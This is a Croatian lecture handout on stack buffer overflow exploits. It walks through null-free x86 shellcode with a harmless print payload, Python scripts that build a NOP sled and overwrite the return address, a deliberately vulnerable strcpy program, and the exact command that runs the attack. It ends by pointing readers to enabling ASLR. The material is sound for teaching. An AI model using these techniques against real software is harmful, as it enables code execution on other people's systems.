Buffer overflow

Alan Pavičić
akapav@gmail.com

11. svibnja 2007.

U ovom papiru ćemo pokazati osnovne tehnike *buffer overflow exploita*. S obzirom da je papir prateći materijal uz predavanje na istu temu, izostavit ćemo uvod u x86 asembler i *calling convencije* o kojima će biti riječi u živo

Osnovna ideja ovakvih programa je da iskoriste memoriju alociranu na *stacku* za nekakve korisničke podatke, te da u nju upišu vlastiti kod. Samo aktiviranje tog koda se radi tako da se pregazi *return aresa*, podatak koji se također nalazi na stacku i služi da bi funkcije znale odakle su pozvane te kuda se moraju vratiti. Umjesto originalne return adrese podmeće se neka druga, na kojoj leži ubačeni kod nakon čega se može izvršiti proizvoljna akcija sa pod istim onim ovlastima koje je imao i vlasnik napadnutog programa

Akcija koju ćemo mi izvršavati prilikom ovog eksperimenta je varijacija na temu popularnog hello worlda

Početi ćemo sa vrlo malim hello world programom koji je napisan u gcc-ovom inline asembleru, a pisanje na ekran radi preko sistemskog poziva (primjetite da ovdje radi jednostavnosti sistemske pozive radimo sa staromodnim *int* $0x80$ umijesto pomoću mnogo bržeg *sysenter*a)

Pisanjem programa u asembleru i pozivima direktno u kernel dobivamo manje i neovisnije programe koji će se lakše moći izvršavati na nepoznatim računalima

```
int main(void)
{
  __asm__ (" \
            movl $3, %edx;       \
            movl $LBL, %ecx;     \
            movl $1, %ebx;       \
            movl $4, %eax;       \
            int $0x80;           \
            movl $1, %eax;       \
            int $0x80;           \
LBL:        .ascii \"aka\";      \
");
}
```

Iako malen i jednostavan. prethodni program ima ozboljan problem – naime u liniji $movlLBL, \%ecx$ baratamo sa apsolutnom adresom, te ovakav komad koda se ne može izvršavati na proizvoljnim memorijskim lokacijama. Zbog toga isti program još jednom prepisujemo, ali umjesto apsolutnog *movl*a, korisitmo relativne *jmp* i *call*. Obratite pažnju da se *call* koristi za dohvat adrese na kojoj se nalazi string

```
int main(void)
{
  __asm__ (" \
            jmp LBL;            \
GO:         pop %esi;           \
            movl $3, %edx;      \
            movl %esi, %ecx;    \
            movl $1, %ebx;      \
            movl $4, %eax;      \
            int $0x80;          \
            movl $1, %eax;      \
            int $0x80;          \
LBL:        call GO;            \
            .ascii \"akb\";     \
");
}
```

Sad imamo radeću *relokatibilnu* rutinu. Sljedeći korak je izbaciti sve nule koje se nalaze u binarnom kodu napisanog programa. Naime, s obzirom da ćemo koristiti *strcpy* funkciju za ubacivanje našeg bloka byteova, moramo se osigurati da kopiranje ne stane prije nego smo planirali. Klasična tehnika punjenja neke vrijednosti sa nula je da se ta vrijednost jednostavno *xor*a sa samom sobom. Program izgleda malo složenije, ali je i poprimio svoj konačni oblik

```
int main(void)
{
  __asm__ (" \
            jmp LBL;            \
GO:         pop %esi;           \
            xor %edx, %edx;     \
            movb $3, %dl;       \
            movl %esi, %ecx;    \
            xor %ebx, %ebx;     \
            movb $1, %bl;       \
            xor %eax, %eax;     \
            movb $4, %al;       \
            int $0x80;          \
            xor %eax, %eax;     \
            movb $1, %al;       \
            int $0x80;          \
LBL:        call GO;            \
            .ascii \"akc\";     \
");
```

U datoteci *prog1.py* ćemo još jednom napisati isti program, samo umjesto standardnih simbola za asemblerske instrukcije, koristimo numeričke vrijednosti spremljeno u jedno *python* polje. Do samih vriednosti smo došli koristeći program *objdump*

```
seq = [
    0xeb, 0x17,       #jmp    LBL
    #GO:
    0x5e,             #pop %esi
    0x31, 0xd2,       #xor %edx,%edx
    0xb2, 0x03,       #mov $0x3,%dl
    0x89, 0xf1,       #mov %esi,%ecx
    0x31, 0xdb,       #xor %ebx,%ebx
    0xb3, 0x01,       #mov $0x1,%bl
    0x31, 0xc0,       #xor %eax,%eax
    0xb0, 0x04,       #mov $0x4,%al
    0xcd, 0x80,       #int $0x80
    0x31, 0xc0,       #xor %eax,%eax
    0xb0, 0x01,       #mov $0x1,%al
    0xcd, 0x80,       #int $0x80
    #LBL:
    0xe8, 0xe4, 0xff, 0xff, 0xff, #callq  GO
    0x61, 0x6b, 0x64
    ]
```

bindump.py je program koji kao argument prima ime datoteke poput prethodne, a generira binarni file na standardnom outputu (npr: *python.pyprog*1 gdje je *prog*1 ime prethodne datoteke)

```
#!/usr/bin/python -u

import array
import sys
import signal

signal.signal(signal.SIGPIPE, signal.SIG_DFL)

mdl = __import__(sys.argv[1])

arr = array.array("B")
arr.fromlist(mdl.seq);
arr.tofile(sys.stdout)
```

Da bismo se uvjerili da sve do sada radi, pokrenimo sljedeći programčić i na standardni ulaz mu treba dati izlaz iz *bindump.py*. Ukoliko je sve u redu, program će dobivene byteove spremiti na heap, te će ih izvršiti kao da su regularna funkcija

```
#include <stdio.h>
```

```
#include <stdlib.h>

unsigned char* read_stream(FILE *fp)
{
  static const size_t block_size = 1024;
  unsigned char* buff = NULL;
  int cnt = 0;
  do {
    buff = (unsigned char*)realloc(buff, (cnt + 1) * block_size);
    fread(buff + cnt++ * block_size, block_size, 1, fp);
  } while(!feof(fp));
  return buff;
}

int main(void)
{
  typedef void(*fun_t)(void);
  unsigned char *buff = read_stream(stdin);
  ((fun_t)(buff))();
  free(buff);
  return 0;
}
```

Evo i "žrtve". Ovaj program ćemo izvrgnuti napadu. Iako ovako u laboratorijskim uvjetima izgleda vrlo naivno, strcpy iz velikog buffera u nešto manji se još uvijek može nać i u "stvarnom svijetu"

```
#include <stdio.h>
#include <string.h>

void broken_fun(const char* src)
{
  char dst[256];
  printf("len: %d\n", strlen(src));
  printf("%x\n", dst);
  strcpy(dst, src);
}

int main(void)
{
  char buff[512];
  fgets(buff, 512, stdin);
  broken_fun(buff);
  return 0;
}
```

seqgen.py je još jedan pomoćni programčić. S obzirom da prilikom pokušaja ubacivanja našeg koda u tuđi program nismo uvijek točno sigurni gdje se nalazi početak memorije u koju se useljavamo ili gdje se nalazi return adresa koju treba

promjeniti, ovaj program nam generira na osnovu "pravih" bytova koje ćemo upotrebiti za exploit novu datoteku u kojoj se na početku nalazi proizvoljan broj *nop* instrukcija, a na kraju isto tako proizvoljan broj return adresa. Sada nam "pogađanje" izgleda puno lakše

```
 #!/usr/bin/python -u

import sys
import array
import signal

signal.signal(signal.SIGPIPE, signal.SIG_DFL)

arr = array.array("B")
arr.fromlist([0x90 for _ in range(int(sys.argv[1]))]);
arr.tofile(sys.stdout)

sys.stdout.write(sys.stdin.read())

arr = array.array("L")
arr.fromlist([int(sys.argv[2], 16) for _ in range(int(sys.argv[3]))])
arr.append(0x0a0a0a0a)
arr.tofile(sys.stdout)
```

Kao ulazne argumente skripta uzima 3 broja – broj *nop*ova prije rutine za napad, vrijednost nove return adrese te koliko puta ćemo tu adresu upisati na stack. Rutinu za napad prima sa standardnog ulaza i samo je prepisuje na izlaz

Ukoliko program "žrtvu" iskompajliramo sa

```
gcc ovfl.c -O -g -o ovfl
```

pokretanje napada se moze napraviti sa npr.

```
./bindump.py prog1 | ./seqgen.py 103 0xbffff102 50 | ./ovfl
```

Ukoliko ne prođe iz prve, return adresu treba naštimati tako da bude nešto veća nego početak bufera (broj koji se ispisuje iz $ovfl$ programa)

Ako vam je eksperiment uspio znači da nemate dobro podešen sustav, te kao root otkucajte

```
echo 1 > /proc/sys/kernel/randomize_va_space
```

i eksperiment sada ponovite ;)